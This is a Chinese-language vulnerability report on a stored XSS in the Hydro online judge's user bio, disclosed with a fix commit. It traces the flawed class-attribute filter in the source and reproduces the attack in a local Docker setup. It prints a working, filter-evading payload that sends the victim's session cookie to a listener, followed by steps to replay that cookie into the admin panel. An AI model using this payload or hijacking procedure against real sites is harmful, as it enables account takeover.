Hydro 漏洞报告

软件名称:Hydro

开发者或厂商:hydro-dev

代码仓库:https://github.com/hydro-dev/Hydro

1. 个人简介存储型 XSS

简要描述:攻击者在个人简介中写入特制 markdown,受害者打开攻击者的简介页面时被 XSS,导致账号被接管。
影响版本:4.16.1 ~ 5.1.0(UI ≤ 4.59.0)
前置条件:攻击者有普通账号。
修复:Hydro commit 3bae56fe

漏洞成因

用户简介(bio)按 markdown 保存,渲染时由 xssProtector 交给 FilterXSS 处理。相关代码如下:

// packages/ui-default/backendlib/markdown-it-xss.ts:180-199    commit 3c8286dd13
export function xssProtector(md) {
    function protector(state) {
        const processor = state.inlineMode ? xssInline : xss;
        for (let i = 0; i < state.tokens.length; i++) {
            const cur = state.tokens[i];
            if (cur.type === 'html_block') {
                cur.content = processor.process(cur.content);
            }
            if (cur.type === 'inline') {
                const inlineTokens = cur.children;
                for (let ii = 0; ii < inlineTokens.length; ii++) {
                    if (inlineTokens[ii].type === 'html_inline') {
                        inlineTokens[ii].content = processor.process(inlineTokens[ii].content);
                    }
                }
            }
        }
    }

    md.core.ruler.after('linkify', 'xss', protector);
}

xss 覆盖了 FilterXSS 的 safeAttrValue。class 分支只按空格切分,保留白名单项与以 language- 开头的项,返回值没有经过 escapeAttrValue。相关代码如下:

// packages/ui-default/backendlib/markdown-it-xss.ts:152-156    commit 3c8286dd13
safeAttrValue(tag, name, value) {
    if (name === 'id') return escapeAttrValue(`xss-id-${value}`);
    if (name === 'class') {
        return value.split(' ').filter((i) => whitelistClasses.includes(i) || i.startsWith('language-')).join(' ');
    }
    return safeAttrValue(tag, name, value, CssFilter);
}

language- 例外由提交 d9a903de86 引入,随 4.16.1 发布,4.16.0 及更早版本的 class 过滤没有该分支。

FilterXSS 随后把返回值放进 class="..."。当值中出现双引号时,属性提前结束,后面的 <script> 成为独立标签。

用户简介的渲染入口如下:

{# packages/ui-default/templates/user_detail.html:97-103    commit 3c8286dd13 #}
{% if not udoc.bio %}
    ...
{% else %}
    {{ udoc.bio|default('')|markdown|safe }}
{% endif %}

bio 位于 AccountSetting,注册用户可在 /home/settings/account 修改。构造的 class 值以 language- 开头且不含空格,因此通过过滤;其中的双引号结束 class 属性,后续 <script> 被执行。

会话 cookie sid 未设置 HttpOnly(packages/hydrooj/src/service/layers/base.ts:68),脚本读取 document.cookie 后即可复用受害者会话。

复现环境搭建

拉取官方仓库并使用官方 compose 启动后端与 MongoDB:

git clone https://github.com/hydro-dev/Hydro.git
cd Hydro/install/docker
docker compose -p hydro-report up -d oj-mongo oj-backend

等待 oj-backend 变为 healthy 后,访问 http://127.0.0.1。官方 compose 启动时会创建 uid 为 2 的 judge 账号。

我们创建 uid 为 3 的 admin 与 uid 为 4 的 attacker:

docker exec oj-backend hydrooj cli user create admin@example.com admin 'Admin@12345' 3
docker exec oj-backend hydrooj cli user setSuperAdmin 3
docker exec oj-backend hydrooj cli user create attacker@example.com attacker 'Attacker@123' 4

确认 admin 的权限:

docker exec oj-mongo mongosh hydro --quiet --eval 'printjson(db.user.findOne({_id:3},{uname:1,priv:1}))'
{
  _id: 3,
  uname: 'admin',
  priv: -1
}

复现过程

以 attacker / Attacker@123 登录,打开 http://127.0.0.1/home/settings/account,在 Bio 中填入以下内容并保存:

<span class='language-a"><script>fetch(String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,57,57,57,57,47,63,99,61)+encodeURIComponent(document.cookie))</script>'>

String.fromCharCode 拼出 http://127.0.0.1:9999/?c=,这样 payload 中没有引号和空格。class 的值为 language-a"><script>...,以 language- 开头,因此通过过滤。

attacker 在个人简介中写入 payload

在本地启动一个 HTTP 监听端:

python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...

以 admin / Admin@12345 登录,打开 attacker 的主页 http://127.0.0.1/user/4:

admin 打开 attacker 的主页

监听端收到受害者 cookie:

127.0.0.1 - - [07/Nov/2026 01:17:00] "GET /?c=sid%3D6IgYEWPMPm0VsQazdFWwYkp3CVm6BjT4%3B%20sid.sig%3DrYduXZBnz4I561-NNCkC2ihxNDI HTTP/1.1" 200 -

解码后得到:

sid=6IgYEWPMPm0VsQazdFWwYkp3CVm6BjT4; sid.sig=rYduXZBnz4I561-NNCkC2ihxNDI

在一个新的浏览器中打开 http://127.0.0.1/,在控制台写入上面两个 cookie:

document.cookie = 'sid=6IgYEWPMPm0VsQazdFWwYkp3CVm6BjT4; path=/';
document.cookie = 'sid.sig=rYduXZBnz4I561-NNCkC2ihxNDI; path=/';

随后打开 http://127.0.0.1/manage,页面以 admin 身份进入系统管理后台:

使用窃取的会话进入管理后台